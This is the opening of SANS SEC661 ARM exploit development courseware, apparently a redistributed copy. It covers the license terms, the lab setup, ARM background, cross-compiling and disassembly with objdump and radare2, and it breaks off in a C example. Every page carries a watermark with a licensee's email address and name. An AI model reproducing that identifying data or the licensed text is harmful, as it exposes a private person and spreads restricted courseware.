SANS SEC661 ARM Exploit Development

You might also like

Download as pdf or txt
Download as pdf or txt
You are on page 1of 522

||||||||||||||||||||

© SANS Institute 2021 SEC661 | ARM EXPLOIT DEVELOPMENT

661.1
09b91222e5d2d3d668cf8e52ec5d35ba
ARM Exploit
micede1865@wii999_com
Fundamentals
24356915

Paul Erwin

ohNrhAfzA3YUEB7zYQeMv7asRrrC6mmK

live

THE MOST TRUSTED SOURCE FOR INFORMATION SECURITY TRAINING, CERTIFICATION, AND RESEARCH | sans.org

https://t.me/learningnets
||||||||||||||||||||
||||||||||||||||||||

© SANS Institute 2021


© 2021 Hungry Hackers, LLC. All rights reserved to Hungry Hackers, LLC and/or SA

PLEASE READ THE TERMS AND CONDITIONS OF THIS COURSEWARE LICENSE AGREEMENT
("CLA") CAREFULLY BEFORE USING ANY OF THE COURSEWARE ASSOCIATED WITH THE SANS
COURSE. THIS IS A LEGAL AND ENFORCEABLE CONTRACT BETWEEN YOU (THE “USER”) AND
SANS INSTITUTE FOR THE COURSEWARE. YOU AGREE THAT THIS AGREEMENT IS
ENFORCEABLE LIKE ANY WRITTEN NEGOTIATED AGREEMENT SIGNED BY YOU.

09b91222e5d2d3d668cf8e52ec5d35ba
With this CLA, SANS Institute hereby grants User a personal, non-exclusive license to use the Courseware
subject to the terms of this agreement. Courseware includes all printed materials, including course books
and lab workbooks, as well as any digital or other media, virtual machines, and/or data sets distributed by
SANS Institute to User for use in the SANS class associated with the Courseware. User agrees that the
CLA is the complete and exclusive statement of agreement between SANS Institute and you and that this
CLA supersedes any oral or written proposal, agreement or other communication relating to the subject
matter of this CLA.

micede1865@wii999_com
BY ACCEPTING THIS COURSEWARE,USER AGREES TO BE BOUND BY THE TERMS OF THIS CLA.
BY ACCEPTING THIS SOFTWARE, USER AGREES THAT ANY BREACH OF THE TERMS OF THIS CLA
MAY CAUSE IRREPARABLE HARM AND SIGNIFICANT INJURY TO SANS INSTITUTE, AND THAT
SANS INSTITUTE MAY ENFORCE THESE PROVISIONS BY INJUNCTION (WITHOUT THE
NECESSITY OF POSTING BOND) SPECIFIC PERFORMANCE, OR OTHER EQUITABLE RELIEF.

If User does not agree, User may return the Courseware to SANS Institute for a full refund, if applicable.

24356915
User may not copy, reproduce, re-publish, distribute, display, modify or create derivative works based upon
all or any portion of the Courseware, in any medium whether printed, electronic or otherwise, for any
purpose, without the express prior written consent of SANS Institute. Additionally, User may not sell, rent,
lease, trade, or otherwise transfer the Courseware in any way, shape, or form without the express written
consent of SANS Institute.

If any provision of this CLA is declared unenforceable in any jurisdiction, then such provision shall be

Paul Erwin
deemed to be severable from this CLA and shall not affect the remainder thereof. An amendment or
addendum to this CLA may accompany this Courseware.

SANS acknowledges that any and all software and/or tools, graphics, images, tables, charts or graphs
presented in this Courseware are the sole property of their respective trademark/registered/copyright
owners, including:

AirDrop, AirPort, AirPort Time Capsule, Apple, Apple Remote Desktop, Apple TV, App Nap, Back to My

ohNrhAfzA3YUEB7zYQeMv7asRrrC6mmK
Mac, Boot Camp, Cocoa, FaceTime, FileVault, Finder, FireWire, FireWire logo, iCal, iChat, iLife, iMac,
iMessage, iPad, iPad Air, iPad Mini, iPhone, iPhoto, iPod, iPod classic, iPod shuffle, iPod nano, iPod touch,
iTunes, iTunes logo, iWork, Keychain, Keynote, Mac, Mac Logo, MacBook, MacBook Air, MacBook Pro,
Macintosh, Mac OS, Mac Pro, Numbers, OS X, Pages, Passbook, Retina, Safari, Siri, Spaces, Spotlight,
There’s an app for that, Time Capsule, Time Machine, Touch ID, Xcode, Xserve, App Store, and iCloud are
registered trademarks of Apple Inc.

PMP® and PMBOK® are registered trademarks of PMI.

live
SOF-ELK® is a registered trademark of Lewes Technology Consulting, LLC. Used with permission.

SIFT® is a registered trademark of Harbingers, LLC. Used with permission.

Governing Law: This Agreement shall be governed by the laws of the State of Maryland, USA.

SEC661_1_G03_01
https://t.me/learningnets
||||||||||||||||||||
||||||||||||||||||||

© SANS Institute 2021


SEC661.1 ARM Exploit Development

09b91222e5d2d3d668cf8e52ec5d35ba
ARM Exploit Fundamentals
micede1865@wii999_com
© 2021 Hungry Hackers, LLC | All Rights Reserved | Version # G03_01

24356915
This page intentionally left blank.

Paul Erwin

ohNrhAfzA3YUEB7zYQeMv7asRrrC6mmK

live

© 2021 Hungry Hackers, LLC 1


https://t.me/learningnets
||||||||||||||||||||
||||||||||||||||||||

© SANS Institute 2021


TABLE OF CONTENTS PA G E
ARM Overview 05
Working with ARM 11

09b91222e5d2d3d668cf8e52ec5d35ba
LAB: Working with ARM
ARM Assembly
Emulating ARM
24
25
37
Debugging ARM 42
LAB: Debugging ARM Assembly 61
The Stack 62
LAB: Branching 87

micede1865@wii999_com
Stack Overflows
LAB: Stack Overflows
(Bonus) LAB: TLV
88
123
124
Exploit Mitigations 125
Shellcode 141
LAB: Shellcode 154
LAB: Bad Characters 155
(Bonus) Intro to Ghidra 156

24356915 SEC661 | ARM Exploit Development 2

This page intentionally left blank.

Paul Erwin

ohNrhAfzA3YUEB7zYQeMv7asRrrC6mmK

live

2 © 2021 Hungry Hackers, LLC


https://t.me/learningnets
||||||||||||||||||||
||||||||||||||||||||

© SANS Institute 2021


ARM Exploit Development – Welcome!!!

09b91222e5d2d3d668cf8e52ec5d35ba
• About this course...
• Course format
• Lectures
• Scheduled breaks
• Labs
micede1865@wii999_com
• Resources
• Slides
• Workbook
• Virtual machine

24356915 SEC661 | ARM Exploit Development 3

This page intentionally left blank.

Paul Erwin

ohNrhAfzA3YUEB7zYQeMv7asRrrC6mmK

live

© 2021 Hungry Hackers, LLC 3


https://t.me/learningnets
||||||||||||||||||||
||||||||||||||||||||

© SANS Institute 2021


Section 1 – Lab Environment

09b91222e5d2d3d668cf8e52ec5d35ba netgear dlink


IP Addresses
Hammerhead – 192.168.2.1
chroot armv7 chroot armv7 Mako – 192.168.2.10
Dogfish – 192.168.2.20
Netgear – 192.168.2.21
Dlink – 192.168.2.22
Tiger – 192.168.2.40

micede1865@wii999_com
mako

qemu armv7
dogfish

qemu armv7
tiger

qemu aarch64

hammerhead

vmware x86_64

24356915 SEC661 | ARM Exploit Development 4

This is a diagram for the lab environment. The hammerhead virtual machine (vm) will be imported and started
from within vmware. The mako, dogfish, and tiger vms are all ARM-based Ubuntu vms started via qemu. The
netgear and dlink “vms” are started from a chroot environment from the dogfish vm. The IP table is here for

Paul Erwin
reference. Mako, dogfish and tiger are in hammerhead’s host file and can be connected to by name (ping, ssh,
etc.).

Hammerhead VM
To be ran in VMWare
NFS sharing labs folder
Mako VM
Ubuntu 32-bit ARM v7

ohNrhAfzA3YUEB7zYQeMv7asRrrC6mmK
Tiger VM
To be ran in qemu
Start with start_mako.sh

Ubuntu 64-bit ARMv8


To be ran in qemu
Start with start_tiger.sh

live

4 © 2021 Hungry Hackers, LLC


https://t.me/learningnets
||||||||||||||||||||
||||||||||||||||||||

© SANS Institute 2021


SEC661.1
Course Roadmap 1. ARM Overview

09b91222e5d2d3d668cf8e52ec5d35ba
SEC661.1
ARM Exploit Fundamentals
2. Working with ARM
Lab: Working with ARM
3. ARM Assembly
SEC661.2 4. Emulating ARM
Exploiting IoT Devices 5. Debugging ARM
Lab: Debugging ARM Assembly
6. The Stack

micede1865@wii999_com Lab: Branching


7. Stack Overflows
Labs: Stack Overflows, TLV (Bonus)
8. Exploit Mitigations
9. Shellcode
Labs: Shellcode, Bad characters (Bonus)
10. Intro to Ghidra (Bonus)

24356915 SEC661 | ARM Exploit Development 5

This page intentionally left blank.

Paul Erwin

ohNrhAfzA3YUEB7zYQeMv7asRrrC6mmK

live

© 2021 Hungry Hackers, LLC 5


https://t.me/learningnets
||||||||||||||||||||
||||||||||||||||||||

© SANS Institute 2021


SEC 661.1 ARM Exploit Fundamentals

ARM Overview
09b91222e5d2d3d668cf8e52ec5d35ba
With the recent explosion of IoT in the consumer market, ARM has quickly taken the
world by storm and established itself as the forerunner in embedded technology. With
micede1865@wii999_com
numbers reporting in the billions (that’s billions with a ‘b’), it doesn’t look like things
are slowing down anytime soon. In this section we begin our discussion by talking
about ARM processors and what sets them apart from other architectures.

24356915 SEC661 | ARM Exploit Development 6

This page intentionally left blank.

Paul Erwin

ohNrhAfzA3YUEB7zYQeMv7asRrrC6mmK

live

6 © 2021 Hungry Hackers, LLC


https://t.me/learningnets
||||||||||||||||||||
||||||||||||||||||||

© SANS Institute 2021


ARM Background

09b91222e5d2d3d668cf8e52ec5d35ba
• Designed by Acorn Computers in the 1980s
• Later became Advanced RISC Machines, Ltd.
• Simplified processor design provides a high
performance, scalable, low power product
micede1865@wii999_com
• Today, ARM markets the architectural design
(intellectual property) to chip manufacturers instead of
producing actual hardware

24356915 SEC661 | ARM Exploit Development 7

ARM was originally a side project at Acorn Computers. The chip industry was heading down the path of
CISC, but the ARM developers identified potential in the less popular RISC machines. Interviews are
available online featuring the original developers and there is even a movie about the early days of ARM.

Paul Erwin
Today, instead of producing actual hardware, ARM Ltd. licenses its intellectual property to chip
manufacturers.

Sophie Wilson wrote the original instruction set and Steve Furber designed the original chip. Search for these
two on youtube to hear the story first-hand from the original authors.

Reference:
Movie: Micro Men

ohNrhAfzA3YUEB7zYQeMv7asRrrC6mmK
https://www.youtube.com/watch?v=XXBxV6-zamM

Interviews:
ARM inventor: Sophie Wilson (Part 1)
https://www.youtube.com/watch?v=jhwwrSaHdh8

ARM Processor - Sowing the Seeds of Success – Computerphile (Interview with Steve Furber)
https://www.youtube.com/watch?v=1jOJl8gRPyQ

live

© 2021 Hungry Hackers, LLC 7


https://t.me/learningnets
||||||||||||||||||||
||||||||||||||||||||

© SANS Institute 2021


ARM – Where is it used?

09b91222e5d2d3d668cf8e52ec5d35ba
• IoT "We wanted to produce a processor used by
everybody."
• Vehicles - Sophie Wilson
(Designer of the ARM instruction set)
• Wearable technology
• Smartphones
• micede1865@wii999_com
Medical equipment “... more than 100 billion devices shipped
over the last 5 years.”
• Laptops & servers - ARM.com

24356915 SEC661 | ARM Exploit Development 8

ARM is everywhere. Its distribution is measured in the hundreds of billions (that’s billions with a b) and it can
be found anywhere from smart phones to coffee pots. There is no sign of slowing down and more and more we
are seeing ARM in our homes and on our persons. Understanding ARM and how it works under the hood is a

Paul Erwin
fundamental skill for security researchers interested in embarking in the world of exploit development.

Reference:
ARM’s solution to the future needs of AI, security and specialized computing is v9 (Quote from ARM.com)
https://www.arm.com/company/news/2021/03/arms-answer-to-the-future-of-ai-armv9-architecture

Sophie Wilson quote


ARM inventor: Sophie Wilson (Part 1)

ohNrhAfzA3YUEB7zYQeMv7asRrrC6mmK
https://www.youtube.com/watch?v=jhwwrSaHdh8

live

8 © 2021 Hungry Hackers, LLC


https://t.me/learningnets
||||||||||||||||||||
||||||||||||||||||||

© SANS Institute 2021


ARM Architectures

09b91222e5d2d3d668cf8e52ec5d35ba
• ARMv7
• Introduced architecture profiles (aka Types)
• Application (Cortex-A)
• Real Time (Cortex-R)
• Microcontroller (Cortex-M)
• ARMv8
micede1865@wii999_com
• Introduced two execution states
• AArch32 (32-bit)
• AArch64 (64-bit)
• ARMv9 – Announced March 30, 2021

24356915 SEC661 | ARM Exploit Development 9

ARM has released different architectures that can be referenced with a “vX” suffix. Architectures prior to
ARMv7 exist but are not listed in the slide.

Paul Erwin
ARMv7 introduced the concept of profiles (sometimes referred to as types). When reading or discussing
different types of ARM chips, you may have noticed letters associated with the architecture profiles.

ARM-v7A (“Application”) – More complex, robust implementations - Trustzone, MMU


ARM-v7R (Real Time) – Faster, less complex implementations - MPU, doesn’t support virtual memory

ARM-v7M (Microcontroller) – Minimal, built for speed and simplicity - Fixed memory map, low memory
consumption, different exception handling model

ohNrhAfzA3YUEB7zYQeMv7asRrrC6mmK
64-bit was introduced with ARMv8. These processors are backward compatible and will run in either
AARCH32 or AARCH64 modes.

ARMv9 was introduced in March 2021 and will introduce new security concepts such as Confidential
Compute Architecture (CCA).

live

© 2021 Hungry Hackers, LLC 9


https://t.me/learningnets
||||||||||||||||||||
||||||||||||||||||||

© SANS Institute 2021


Comparison with x86

09b91222e5d2d3d668cf8e52ec5d35ba
ARM (32-bit) x86
• General Purpose Registers (r0-r15) • General Purpose Registers (eax, ebx,
• RISC (Reduced Instruction Set esp, eip ...)
Computing) • CISC (Complex Instruction Set
• Less instructions Computing)
• Simple instructions of a set length • Complex instructions varying in length
• micede1865@wii999_com
Other Differences
• Load / Store architecture •
• More instructions available
Can work directly on memory
• Link register / returns
• Prologue / epilogue
• Memory management
• Special purpose registers

24356915 SEC661 | ARM Exploit Development 10

If you are familiar with other architectures such as x86, there are a lot of similarities with ARM, but there are
also some fundamental differences. One of the first differences you will notice is the names of the registers.
ARM 32-bit uses register names starting with “r” where x86 uses eax, ebx, etc.

Paul Erwin
As you are looking through the assembly instructions, you will notice that ARM uses fixed width instructions,
either 4-bytes or 2-bytes wide. In x86, you see variable length instructions. ARM is a load/store architecture
which means that it does not directly modify memory in place. Instead, it loads memory into a register,
modifies it, and saves it back to memory.

There are other differences that you may notice, such as the presence of a Link Register and some differences
in the way functions are called and how they return. Digging a little deeper, you will see other differences in

ohNrhAfzA3YUEB7zYQeMv7asRrrC6mmK
the way memory is managed and some of the special purpose registers.

live

10 © 2021 Hungry Hackers, LLC


https://t.me/learningnets
||||||||||||||||||||
||||||||||||||||||||

© SANS Institute 2021


SEC661.1
Course Roadmap 1. ARM Overview

09b91222e5d2d3d668cf8e52ec5d35ba
SEC661.1
ARM Exploit Fundamentals
2. Working with ARM
Lab: Working with ARM
3. ARM Assembly
SEC661.2 4. Emulating ARM
Exploiting IoT Devices 5. Debugging ARM
Lab: Debugging ARM Assembly
6. The Stack

micede1865@wii999_com Lab: Branching


7. Stack Overflows
Labs: Stack Overflows, TLV (Bonus)
8. Exploit Mitigations
9. Shellcode
Labs: Shellcode, Bad characters (Bonus)
10. Intro to Ghidra (Bonus)

24356915 SEC661 | ARM Exploit Development 11

This page intentionally left blank.

Paul Erwin

ohNrhAfzA3YUEB7zYQeMv7asRrrC6mmK

live

© 2021 Hungry Hackers, LLC 11


https://t.me/learningnets
||||||||||||||||||||
||||||||||||||||||||

© SANS Institute 2021


SEC 661.1 ARM Exploit Fundamentals

Working with ARM


09b91222e5d2d3d668cf8e52ec5d35ba
In this next section, we will walk through creating ARM binaries from source code.
Even though we are not working toward becoming a software developer in a
traditional sense, it is extremely insightful to understand how binaries get created. The
micede1865@wii999_com
same steps that are taken to build the final executable are taken backward and are
necessary for us to have enough information to build our exploits. Knowing how
things move forward allows us to work them backward. By knowing how things should
be done, we will have better success at picking them apart and looking for problems.
Also, there may be times when we need to write our own tools for ARM.

24356915 SEC661 | ARM Exploit Development 12

This page intentionally left blank.

Paul Erwin

ohNrhAfzA3YUEB7zYQeMv7asRrrC6mmK

live

12 © 2021 Hungry Hackers, LLC


https://t.me/learningnets
||||||||||||||||||||
||||||||||||||||||||

© SANS Institute 2021


Example: Simple Loop

09b91222e5d2d3d668cf8e52ec5d35ba
This code runs a basic “for
//simple_loop.c

loop“ 10 times and will then


#include <stdio.h>

int main()
{
print the value of the index
int index;
variable.
set max int max = 10;
to 10

micede1865@wii999_com
for(index=0; index<max; index++)
{

}
// Do nothing loop until
max is reached

printf("total: %d\n", index);

return 0; print index value


} as an integer (%d)

24356915 SEC661 | ARM Exploit Development 13

We will use this simple loop program to gain some familiarity with how ARM binaries are created. The C
code itself isn’t important, but we want to show the process of how binaries get created. By starting here, we
can see what goes into building a program. This lays the groundwork so that we can go backwards and have a

Paul Erwin
better understanding of reverse engineering tools like IDA Pro, Ghidra, and Radare2.

ohNrhAfzA3YUEB7zYQeMv7asRrrC6mmK

live

© 2021 Hungry Hackers, LLC 13


https://t.me/learningnets
||||||||||||||||||||
||||||||||||||||||||

© SANS Institute 2021


The GNU C Compiler (GCC)

09b91222e5d2d3d668cf8e52ec5d35ba
//simple_loop.c

#include <stdio.h>
The gcc program creates
an executable binary
file that can be ran on
the operating system.
int main() gcc ./simple_loop.c –o simple_loop
{ GCC takes care of
multiple steps with one
int index; input file -o specifies an command:
int max = 10; (source code) output file • Preprocessing
• Compiling
for(index=0; index<max; • Assembling

micede1865@wii999_com
index++)
{

}
// Do nothing
• Linking

$ ./simple_loop
total: 10
printf("total: %d\n", index);

return 0;
}

24356915 SEC661 | ARM Exploit Development 14

We can use gcc to compile the source code into an executable binary file. Since we are working on Linux, this
will create an ELF file that we can run on our system. The GNU C Compiler (aka gcc) actually performs
multiple steps under the hood, but these steps are transparent to the user. The steps are Preprocessing,
Compiling, Assembling and Linking.

gcc ./simple_loop.c –o simple_loop


Paul Erwin
This command preprocesses, compiles, assembles and links the simple_loop.c source code file and the –
o parameter specifies the output file name as “simple_loop”.

Reference:

ohNrhAfzA3YUEB7zYQeMv7asRrrC6mmK
https://linuxhint.com/understanding_elf_file_format/
Run “man gcc” from the command line

live

14 © 2021 Hungry Hackers, LLC


https://t.me/learningnets
||||||||||||||||||||
||||||||||||||||||||

© SANS Institute 2021


Compiling with GCC

09b91222e5d2d3d668cf8e52ec5d35ba
simple_loop.c

#include <stdio.h>
simple_loop.s

...
simple_loop.o

...
simple_loop

binary executable file


main: 80 b5 84 b0 00 af 78 60
int main() push {r7, lr} 39 60 0a 23 bb 60 00 23
{ sub sp, sp, #16 fb 60 02 e0 fb 68 01 33
add r7, sp, #0 fb 60 fa 68 bb 68 9a 42
int i; str r0, [r7, #4] f8 db 40 f2 00 00 c0 f2
int max = 10; str r1, [r7] 00 00 f9 68 ff f7 fe ff
movs r3, #10 00 23 18 46 10 37 bd 46

}
micede1865@wii999_com
for(i=0; i<max; i++) {

printf("tot: %d\n", i);


...
str
movs
str
b
r3, [r7, #8]
r3, #0
r3, [r7, #12]
.L2
80 bd

return 0;
} Link
Compile Assemble
(create binary
(create assembly file) (create object file)
executable)

24356915 SEC661 | ARM Exploit Development 15

Here are the steps for creating an executable binary file. Note: the Preprocessing step is not shown in the slide.

Compiling creates a representation of the source code in assembly language, which is typically represented as
a .s file.
Paul Erwin
Assembling takes an assembly file and creates object code.
Linking takes one or more object files and combines them into a single executable file.

With gcc, it is possible to specify parameters that will only perform certain steps from the entire process.
Below are some of the command line options.

gcc -E --> Preprocess, but don't compile


gcc -S --> Compile but don't assemble
ohNrhAfzA3YUEB7zYQeMv7asRrrC6mmK
gcc -c --> Preprocess, compile, and assemble, but don't link
gcc with no switch will do everything for you under the hood and link your object files and generate the
executable

Sample output using some of these parameters with arm-linux-gnueabi-gcc (discussed in the next
slide):

Compiling with –S :
live
ubuntu:~/labs/simple_loop$ arm-linux-gnueabi-gcc -S ./simple_loop.c

ubuntu:~/labs/simple_loop$ file simple_loop.s


simple_loop.s: assembler source, ASCII text

Assembling with –c :
ubuntu:~/labs/simple_loop$ arm-linux-gnueabi-gcc -c ./simple_loop.c

ubuntu:~/labs/simple_loop$ file simple_loop.o


simple_loop.o: ELF 32-bit LSB relocatable, ARM, EABI5 version 1 (SYSV), not stripped

© 2021 Hungry Hackers, LLC 15


https://t.me/learningnets
||||||||||||||||||||
||||||||||||||||||||

© SANS Institute 2021


Cross-Compiling with an ARM Toolchain

09b91222e5d2d3d668cf8e52ec5d35ba
• Compiling binaries for a ubuntu:~$ arm-linux-gnueabi- (hit the tab key)
arm-linux-gnueabi-ar
non-native platform arm-linux-gnueabi-as
arm-linux-gnueabi-cpp

• For example, compiling ARM arm-linux-gnueabi-gcc


arm-linux-gnueabi-gcc-7

binaries in an x86_64 virtual arm-linux-gnueabi-gcc-ar


arm-linux-gnueabi-gcc-nm
arm-linux-gnueabi-ld
machine
micede1865@wii999_com
arm-linux-gnueabi-nm
arm-linux-gnueabi-objcopy
• Prebuilt ARM toolchains are arm-linux-gnueabi-objdump
arm-linux-gnueabi-ranlib
available and are easy to arm-linux-gnueabi-readelf
arm-linux-gnueabi-size
install and use arm-linux-gnueabi-strings

These tools are available on the


hammerhead virtual machine.

24356915 SEC661 | ARM Exploit Development 16

The majority of processors in laptops and desktops are not ARM. This will probably change in the future, but
for now, many of us are running on non-ARM hardware. The class virtual machine is running on x86_64
(emulated) hardware but can cross-compile ARM binaries using the arm-linux-gnueabi-gcc toolchain.

Paul Erwin
Since we are not running on ARM, gcc will only compile for the native architecture. This is why we need a
cross-compile toolchain. Luckily, arm-linux-gnueabi-gcc is easy to install as an Ubuntu package.

Sometimes custom toolchains must be built and need to be very specific in matching different build tool
versions, libraries and configurations.

To install cross-compile tools on Ubuntu. Note: This is already installed in the hammerhead virtual machine.
ubuntu:~$ sudo apt install binutils-arm-linux-gnueabi gcc-arm-linux-gnueabi

ohNrhAfzA3YUEB7zYQeMv7asRrrC6mmK
Some of the benefits for being able to compile ARM are:
- The ability to modify and compile open source tools
- ARM tools can be written and compiled in C, then ported to shellcode

Other tools that get installed with binutils-arm-linux-gnueabi are also useful such as: objdump,
objcopy, readelf, as, ld.

Examples:

ubuntu:~/labs/simple_loop$ uname -a live


Linux ubuntu 4.15.0-123-generic #126-Ubuntu SMP Wed Oct 21 09:40:11 UTC 2020 x86_64 x86_64 x86_64
GNU/Linux

# Compiling with native “gcc” gives us a native x86-64 binary


ubuntu:~/labs/simple_loop$ gcc -o simple_loop_x64 simple_loop.c

16 © 2021 Hungry Hackers, LLC


https://t.me/learningnets
||||||||||||||||||||
||||||||||||||||||||

© SANS Institute 2021


ubuntu:~/labs/simple_loop$ file simple_loop_x64
simple_loop_x64: ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, interpreter
/lib64/ld-linux-x86-64.so.2, for GNU/Linux 3.2.0,

09b91222e5d2d3d668cf8e52ec5d35ba
BuildID[sha1]=c52dec39e70fa4e75d4f602cb1323ce93b778fa2, not stripped

# Cross-compiling with arm-linux-gnueabi-gcc gives us an ARM binary


ubuntu:~labs/simple_loop$ arm-linux-gnueabi-gcc -o simple_loop_arm
./simple_loop.c

ubuntu:~/labs/simple_loop$ file ./simple_loop_arm


./simple_loop_arm: ELF 32-bit LSB executable, ARM, EABI5 version 1 (SYSV), dynamically linked,
interpreter /lib/ld-linux.so.3, for GNU/Linux 3.2.0,
micede1865@wii999_com
BuildID[sha1]=2c15f054ef8aa281a1d24c5062c125026a7b9a07, not stripped

24356915

Paul Erwin

ohNrhAfzA3YUEB7zYQeMv7asRrrC6mmK

live

© 2021 Hungry Hackers, LLC 17


https://t.me/learningnets
||||||||||||||||||||
||||||||||||||||||||

© SANS Institute 2021


Reversing a Binary – Static Analysis

09b91222e5d2d3d668cf8e52ec5d35ba
simple_loop.c simple_loop.s simple_loop.o simple_loop

#include <stdio.h> ... ... binary executable file


main: 80 b5 84 b0 00 af 78 60
int main() push {r7, lr} 39 60 0a 23 bb 60 00 23
{ sub sp, sp, #16 fb 60 02 e0 fb 68 01 33
add r7, sp, #0 fb 60 fa 68 bb 68 9a 42
int i; str r0, [r7, #4] f8 db 40 f2 00 00 c0 f2
int max = 10; str r1, [r7] 00 00 f9 68 ff f7 fe ff

micede1865@wii999_com
movs r3, #10 00 23 18 46 10 37 bd 46
for(i=0; i<max; i++) { str r3, [r7, #8] 80 bd
} movs r3, #0
str r3, [r7, #12]
printf("tot: %d\n", i); b .L2
...
return 0;
}
“Load” into the
Decompile Disassemble
reversing framework

24356915 SEC661 | ARM Exploit Development 18

Let’s take a look at the compilation process again, but this time we will think about it in reverse. Reverse
engineering tools take a binary of a known format and map out the bytes into various segments according to
the file format. This “loads” the binary into the reversing framework. The idea is to load the bytes in the same

Paul Erwin
memory locations as if the program were running. These bytes can be translated to assembly instructions. The
reverse engineering tool can display these assembly instructions for the user. A decompiler can take this a step
further and provide a guess as to what the original C code looked like. This decompile step is an estimation
since there is no 1-to-1 mapping between the assembly instructions and the C code.

Loading
Known file types can be parsed (ELF, PE, etc.)
Mapping the binary file for analysis

ohNrhAfzA3YUEB7zYQeMv7asRrrC6mmK
Disassemble
Object code to assembly
One-to-one translation, defined by ARM
Decompile
Assembly to C

When analyzing an ARM binary, we don’t always have the original source code. Instead, we rely on tools that
work in reverse and walk backwards to show us the file in various formats. If we understand how the file is
loaded, we can organize the bytes in a way similar to how they would look in the running program’s memory.
live
The ELF file format is well-known and well-documented, so by using this format, reverse engineering tools
will map out the memory segments using the correct arrangement of bytes.

If we are not looking at a known file type such as ELF and are looking at an unknown binary format (i.e., a
custom firmware image), we may be required to write a custom loader.

With the proper arrangements of bytes and the meta data associated with the ELF file format, certain regions
of the memory can be marked as instructions. Since there is a 1-to-1 correspondence between the bytes that
make up the object code and the assembly instructions, this data can be displayed as ARM assembly. This is
known as disassembled code or disassembly.

18 © 2021 Hungry Hackers, LLC


https://t.me/learningnets
||||||||||||||||||||
||||||||||||||||||||

© SANS Institute 2021


Some tools such as IDA Pro’s HexRays Decompiler and Ghidra can take this a step further and provide a
representation of what the C code may look like. Since this is not a 1-to-1 match and compilers do some
modifications, there is some level of discrepancy between what the decompiler produces and what the actual C

09b91222e5d2d3d668cf8e52ec5d35ba
source code looked like. This is not an exact science, and is hard to get right, but decompilers give reverse
engineers a good sense of what the source code might have looked like.

micede1865@wii999_com

24356915

Paul Erwin

ohNrhAfzA3YUEB7zYQeMv7asRrrC6mmK

live

© 2021 Hungry Hackers, LLC 19


https://t.me/learningnets
||||||||||||||||||||
||||||||||||||||||||

© SANS Institute 2021


Objdump

09b91222e5d2d3d668cf8e52ec5d35ba
• Displays information from binary files
• The –d parameter will show the disassembly of a binary

nemo@mako:~/labs/simple_loop$ objdump -d simple_loop_static.arm | more


...

micede1865@wii999_com
00010480 <main>:
10480:
10482:
10484:
b580
b084
af00
push
sub
add
{r7, lr}
sp, #16
r7, sp, #0
10486: 6078 str r0, [r7, #4]
10488: 6039 str r1, [r7, #0]
1048a: 230a movs r3, #10

offsets object assembly instructions


code

24356915 SEC661 | ARM Exploit Development 20

The object dump tool will display information about binary (object) files. It has a lot of options that can
be viewed with the –h parameter. The –d option will show the disassembly of a binary file. As we discussed
previously, this is possible because the assembly instructions map to the object code and vice versa. This is a

Paul Erwin
down-and-dirty tool that is useful for verifying shellcode, searching for rop gadgets, and various other tasks
that require a quick look at a binary’s disassembly.

See example of using objdump within the mako virtual machine on the following page.

ohNrhAfzA3YUEB7zYQeMv7asRrrC6mmK

live

20 © 2021 Hungry Hackers, LLC


https://t.me/learningnets
||||||||||||||||||||
||||||||||||||||||||

© SANS Institute 2021


nemo@mako:~/labs/simple_loop$ objdump -d simple_loop_static.arm | more
...
00010480 <main>:
10480: b580 push {r7, lr}

09b91222e5d2d3d668cf8e52ec5d35ba
10482:
10484:
10486:
b084
af00
6078
sub
add
str
sp, #16
r7, sp, #0
r0, [r7, #4]
10488: 6039 str r1, [r7, #0]
1048a: 230a movs r3, #10
1048c: 60fb str r3, [r7, #12]
1048e: 2300 movs r3, #0
10490: 60bb str r3, [r7, #8]

micede1865@wii999_com
10492:
10494:
10496:
e002
68bb
3301
b.n
ldr
adds
1049a <main+0x1a>
r3, [r7, #8]
r3, #1
10498: 60bb str r3, [r7, #8]
1049a: 68ba ldr r2, [r7, #8]
1049c: 68fb ldr r3, [r7, #12]
1049e: 429a cmp r2, r3
104a0: dbf8 blt.n 10494 <main+0x14>
104a2:
104a4:
104a6:
68b9
4b04
447b
ldr
ldr
add
24356915
r1, [r7, #8]
r3, [pc, #16]
r3, pc
; (104b8 <main+0x38>)

104a8: 4618 mov r0, r3


104aa: f004 fc7f bl 14dac <_IO_printf>
104ae: 2300 movs r3, #0
104b0: 4618 mov r0, r3
104b2: 3710 adds r7, #16
104b4: 46bd mov sp, r7

...
104b6: bd80
Paul Erwin
pop {r7, pc}

Reference:
Run “man objdump” or “objdump –h” from the command line.

ohNrhAfzA3YUEB7zYQeMv7asRrrC6mmK

live

© 2021 Hungry Hackers, LLC 21


https://t.me/learningnets
||||||||||||||||||||
||||||||||||||||||||

© SANS Institute 2021


Radare2 – Viewing simple_loop

09b91222e5d2d3d668cf8e52ec5d35ba
• Full-featured reverse engineering framework
• Binary analysis, disassembly, debugging, etc.
nemo@hammerhead:~/labs/simple_loop$ r2 simple_loop_static.arm
...
[0x0001036c]> aaa
...
[0x0001036c]> s main
[0x00010480]> pdf

micede1865@wii999_com
56: int main (int argc, char **argv);
...
0x00010480
0x00010482
80b5
84b0
push {r7, lr}
sub sp, 0x10
0x00010484 00af add r7, var_0h
0x00010486 7860 str r0, [var_4h] ; argc
0x00010488 3960 str r1, [r7] ; argv
0x0001048a 0a23 movs r3, 0xa

offsets object assembly instructions

24356915
code

SEC661 | ARM Exploit Development 22

Radare2 is a robust tool for reverse engineering binary files. ARM is fully supported and there are many
different features in radare2 worth exploring. From the hammerhead vm, we can analyze ARM binaries, even
though hammerhead runs on x86_64. This is not a problem since radare2 (or r2) identifies the architecture the

Paul Erwin
binary was compiled for and treats it accordingly.

The commands in the slide were ran from the hammerhead vm and do the following:

aaa – analyze functions, autoname


s main – seek to main
pdf – print disassembly of a function

Notice that we see the same addresses and disassembly as the previous slide showed with objdump, but the
ohNrhAfzA3YUEB7zYQeMv7asRrrC6mmK
object code values are in reverse byte order. This is just a matter of how it is displayed in the tool.

Radare2 has a very active community, and they even have their own annual conference. We don’t use radare2
a whole lot during class, but you’re encouraged to try it out and use it where it makes sense. 

Radare2 also has a gui available called cutter.

Reference:
https://github.com/radareorg/radare2
https://cutter.re/ live

22 © 2021 Hungry Hackers, LLC


https://t.me/learningnets
||||||||||||||||||||
||||||||||||||||||||

© SANS Institute 2021


C Types – Defining Variables

09b91222e5d2d3d668cf8e52ec5d35ba
#include <stdio.h>

int adder(int a, int b, int c, int d) {

unsigned int result = a+b+c+d;


return result;
}

int main(int argc, char *argv[]) {

micede1865@wii999_com
unsigned int a=3, b=5, c=7, d=0;
unsigned short result = 0;

if (argv[1]) {
